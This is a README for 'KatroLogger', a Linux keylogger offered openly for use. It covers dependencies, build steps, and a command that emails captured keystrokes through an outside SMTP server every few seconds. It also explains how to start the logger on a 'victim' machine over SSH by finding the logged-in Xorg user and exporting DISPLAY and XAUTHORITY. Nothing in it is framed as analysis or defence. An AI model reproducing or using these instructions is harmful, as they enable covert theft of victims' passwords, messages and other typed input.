KeyLogger for Linux Systems.

KatroLogger KeyLogger for Linux Systems.

Features

  • Runs on GUI systems or CLI
  • Sending data by email

Dependencies

X Window System protocol client library

# Debian-based:
apt install -y libx11-dev

# RPM-Based:
dnf install -y libX11-devel 

libquickmail

wget https://ufpr.dl.sourceforge.net/project/libquickmail/libquickmail-0.1.29.tar.xz
tar -xvf libquickmail-0.1.29.tar.xz
./autogen.sh && ./configure && make && make install

Compiling

./configure
make
make install

How to Use

katrologger --output /path/file

Send data by e-mail

katrologger --smtps-url smtp.gmail.com --port 465 --mail-from <address> --mail-rcpt <address> --pass <password> --smtp-file /path/keyscan --time 10
  • Fixing problems accessing via SSH

when connecting to the victim remotely via ssh it will be necessary to export environment variables to run the keylogger.

For hosts with xorg running:

identifying logged in user

user=$(who | grep "(:0)" | awk '{print $1}')
echo $user

Exporting variables

export DISPLAY=:0.0
export XAUTHORITY=/home/$user/.Xauthority
  • Uninstall
make uninstall